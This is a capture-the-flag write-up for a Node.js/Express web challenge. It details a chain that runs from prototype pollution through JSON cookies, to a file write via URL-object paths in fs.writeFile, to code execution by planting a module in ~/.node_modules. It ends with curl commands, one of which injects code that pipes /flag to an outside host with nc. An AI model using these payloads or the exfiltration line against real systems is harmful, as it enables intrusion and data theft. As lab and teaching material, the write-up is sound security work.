keyboard_arrow_up

title: Infinite Mario
date: May 27, 2023
tags: Writeup Web Esaip_2023 MyChallenges


Infinite Mario


Difficulty: 500 points | 1 solves

Description: Mario is stuck in an infiniti loop, find a way to save him from this situation.

Sources: infinite_mario.zip

Author: Me :p



🕵️ Recon

For this challenge, we have a simple express application with an infinite mario bros game in the frontend:

home.gif

As we have sources, we can get more information about the backend logic. Thanks to it, we can understand that the only things implemented is a custom logging middleware:

process.chdir("logs/");
var merge = (src, dst) => {
    for (const [key, value] of Object.entries(src)) {
        if (`${value}`.includes("object")) {
            dst[key] = merge(value, typeof dst[key] === "object" ? dst[key] : {});
        } else {
            dst[key] = value || dst[key] || "";
        }
    }
    return dst;
};

// Retracted

app.use("/static", express.static(path.join(__dirname, "static")));
app.use(cookieParser());
app.use((req, res) => {
    var config = merge({
        path: req.cookies.log,
        data: [req.url, req.method, req.headers.referer]
    },{
        path: "all_users.txt",
        data: []
    });

    if (!config.path.includes("/")) {
        fs.writeFile(config.path, config.data.join(" | "), (e) => {
            if (e) {
                fs.mkdir(config.path, { recursive: true }, (e) => {
                    if (e) {
                        throw new Error(e);
                    }
                });
            } else {
                console.log(`[LOG] Log saved into: ${config.path}.`);
            }
        })
    }

    req.next();
})

As we can see from the above snippet, it takes the req.cookies.log value as a file path and log req.url, req.method and req.headers.referer. Furthermore, we know that the flag is located at the root of the Docker. Thus, we most probably need to find a way to get an RCE.


🏭 Prototype pollution

Something interesting about the logging system is that it uses a custom merge function which is vulnerable to prototype pollution:

pollution.png

To trigger the pollution, we need to be able to provide an object inside the req.cookies.log value. At the first place, it could look impossible, but thanks to the cookieParser middleware, we can prepend the cookie value by j: to specify that the content is a JSON Object!

function JSONCookie (str) {
    if (typeof str !== 'string' || str.substr(0, 2) !== 'j:') {
        return undefined
    }

    try {
        return JSON.parse(str.slice(2))
    } catch (err) {
        return undefined
    }
}

Thus, using the following log cookie value will trigger the pollution:

j:{"__proto__": {"polluted": true}}


📁 File Write (FW)

Now that we have a prototype pollution, we need to find a way to use it to bypass the following restriction:

if (!config.path.includes("/")) {
    // Retracted
}

The problem here, is that includes method is only associated with and Array or String object:

In addition, it is impossible to have an Array as the merge function result, which blocks any basic type juggling exploitation.

array.png

Therefore, thanks to the prototype pollution, it is possible to overwrite the __proto__ value by an Array which will add the includes method in the prototype chain:

includes.png

prototype_chain.png

Thanks to the previous tricks, it is possible to to bypass the .includes("/") check. Unfortunately, it would makes the fs.writeFile function crash:

error.png

Therefore, thanks to a magic trick, it is possible to make it a valid input 👀

Reading the nodeJs documentation, we can see that fs.writeFile function accepts an URL object as filename:

nodejs.png

If we dig into the fs.writeFile source code we can see the following call tree:

function writeFile(path, data, options, callback) {
    // Retracted

    fs.open(path, flag, options.mode, (openErr, fd) => { // <-- Path used here
        // Retracted
    });
}
function open(path, flags, mode, callback) {
    path = getValidatedPath(path); // <-- Verify path here

    // Retracted
}
const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
    const path = toPathIfFileURL(fileURLOrPath); // Normalise URL path here
    validatePath(path, propName);
    return path;
});
function toPathIfFileURL(fileURLOrPath) {
    if (!isURLInstance(fileURLOrPath)) // Verify URL path type here
        return fileURLOrPath;
    return fileURLToPath(fileURLOrPath); // Normalise URL path here
}
function isURLInstance(fileURLOrPath) {
    return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin; // URL path object simply need href & origin to be set
}
function fileURLToPath(path) {
    // Retracted

    if (path.protocol !== 'file:') // Protocol must be file
        throw new ERR_INVALID_URL_SCHEME('file');
    return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path); // Get path value
}
function getPathFromURLPosix(url) {
    if (url.hostname !== '') { // Hostname must be set
        throw new ERR_INVALID_FILE_URL_HOST(platform);
    }
    const pathname = url.pathname; // File path comes from pathname

    // Retracted

    return decodeURIComponent(pathname);
}

Thus, if we regroup the previous information into one payload, we can get the following working exploit 🔥

file_write.png

Another writeup speaking about this technique: link.


💥 RCE

Now that we have a FW thanks to the JSON cookie + prototype pollution + URL path, we need to find a way to leverage that to RCE. If we look closer into the application source code, something might catch your eyes:

const mongodb = require("mongodb");

The mongodb library is imported but never used. This is a really important point because, if we use strace and grep no such file we can find:

strace node app.js 2>&1 | grep "home" | grep "No such file"

no_such_file_1.png

If we create the .node_modules in the home directory and do an strace again, we get:

mkdir ~/.node_modules/

no_such_file_2.png

Now, create a .js that doesn't exist, append console.log(1) into it and rerun the application:

echo "console.log(1)" > ~/.node_modules/kerberos.js

kerb_exec.png

As you can see, we get a code execution when the application starts 🔥

Thus, to get an RCE on the challenge instance, we need to find how to do the following:

The first one is pretty simple to do because, thanks to the FW vulnerability and the following code, we can create any directory we want to:

fs.writeFile(config.path, config.data.join(" | "), (e) => {
    if (e) {
        fs.mkdir(config.path, { recursive: true }, (e) => {
            if (e) {
                throw new Error(e);
            }
        });
    } else {
        console.log(`[LOG] Log saved into: ${config.path}.`);
    }
})

For the second condition, there is something important to know about express. In fact, it prevent an application to crash in case of an error in the main process, therefore this protection isn't applied in case of child process.

In addition, in the above code, the in the fs.mkdir callback, there is a throw new Error(e) which is not handled by a try catch. In addition, fs.mkdir spawn a new process which could be used to make the application crash. Finally, taking a look into the Dockerfile entrypoint, we can see that the application is automatically restart if it cash 🔥

CMD ["/bin/sh", "-c", "while true; do node /usr/app/app.js; done"]

Thus, to get the RCE we need to:

  1. Trigger a prototype pollution via a JSON cookie inside the merge function.
  2. Bypass .includes by polluting the object prototype by an array prototype.
  3. Use an URL object path to write the payload into /home/challenge/.node_modules/kerberos.js file.
  4. Make the application crashes thanks to the subprocess error.


💥 Chain everything together

# Create malicious folder
curl -H 'Cookie: log=j:{"origin":"random","href":"random","protocol":"file:","hostname":"","pathname":"/home/challenge/.node_modules/","__proto__":[]}'  http://localhost:3000/

# Backdoor the application
curl -H 'Referer: */require("child_process").exec("cat /flag | nc mizu.re 4444")' -H 'Cookie: log=j:{"origin":"random","href":"random","protocol":"file:","hostname":"","pathname":"/home/challenge/.node_modules/kerberos.js","__proto__":[]}'  http://localhost:3000/*

# Trigger the payload
curl -H 'Cookie: log=j:{"origin":"random","href":"random","protocol":"file:","hostname":"","pathname":"/a/a/a","__proto__":[]}'  http://localhost:3000/


🚩 Retrieve the flag

flag.png

Flag: ECTF{N0d3jS_F1l3_Wr1T3_2_Rc3} 🎉